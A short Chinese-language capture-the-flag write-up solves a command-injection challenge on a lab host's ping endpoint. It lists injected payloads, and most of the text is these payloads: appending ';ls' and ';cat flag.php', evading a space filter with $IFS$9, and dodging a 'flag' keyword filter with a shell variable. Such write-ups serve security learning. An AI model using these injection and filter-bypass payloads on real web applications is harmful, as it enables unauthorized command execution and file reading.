由提示得该题为REC
漏洞相关的题型
首先试着正常访问IP
:http://c753b31d-1e82-49a2-8ec5-48fad80be40e.node4.buuoj.cn:81/?ip=127.0.0.1
然后使用分隔符来试着只想相关的系统命令:http://c753b31d-1e82-49a2-8ec5-48fad80be40e.node4.buuoj.cn:81/?ip=127.0.0.1;ls
得到flag.php
文件就在该目录下,所以尝试访问并且回显该文件内容:http://c753b31d-1e82-49a2-8ec5-48fad80be40e.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php
由回显内容可知对空格做了过滤,所以我们尝试使用符号来代替:http://c753b31d-1e82-49a2-8ec5-48fad80be40e.node4.buuoj.cn:81/?ip=127.0.0.1;cat<flag.php
得知对<
也进行了过滤,我们使用$IFS$9
来作为分隔符,其中$IFS
在shell
表示内部字段分隔符,默认是空格符号,而$9
指传过来的第九个参数:http://c753b31d-1e82-49a2-8ec5-48fad80be40e.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9flag.php
根据提示可知符号已经绕过,但是对flag
有所过滤,我们通过访问index.php
得到该源码:
得知对flag
和bash
都进行了过滤,但是对于flag
只对其中的字母进行了匹配过滤,我们可以利用变量来绕过该匹配机制:http://c753b31d-1e82-49a2-8ec5-48fad80be40e.node4.buuoj.cn:81/?ip=127.0.0.1;x=g;cat$IFS$9fla$x.php
得到的页面没有回显,但是通过访问页面源码得到了flag
: